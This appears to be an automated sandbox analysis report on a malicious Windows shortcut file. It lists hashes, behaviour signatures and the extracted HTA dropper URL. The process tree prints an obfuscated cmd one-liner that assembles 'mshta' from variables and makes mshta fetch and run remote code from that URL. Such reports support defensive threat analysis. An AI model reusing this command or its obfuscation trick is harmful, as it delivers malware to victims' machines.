Analysis
- max time kernel
150s - max time network
121s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-I9SDBN.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-I9SDBN.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-I9SDBN.lnk
- Size 1KB
- Sample260803-qvmdcaad25
- SHA256 9bad6629d449003e8f9297afd593d8b7caf18bb3dd279d6ab4bbe7fa57161df4
- MD5 065031ed58a6756af99285042715cf96
- SHA1 4b47a3dbb107082b1cd65d51b40124a7e83face7
- SHA512 ebab6b68e4d5571357028b60825033b59019e8750d8c3b849e0b1066f79146481df0750dd645bf4337ced3ebd99a54710b19b1a6e96fd23db10a8b2889631e3e
- TLSH T1463197403FFE0614F3F38E3398BB5B1088BBB8568E20C61D0040470C1032A04E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6840 cmd.exe 6612 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 6840 wrote to memory of 6612 6840 cmd.exe 91 PID 6612 wrote to memory of 7128 6612 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-I9SDBN.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6840 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set xJ=msh&&set lba=ta&&start "" !xJ!!lba! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6612 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:7128
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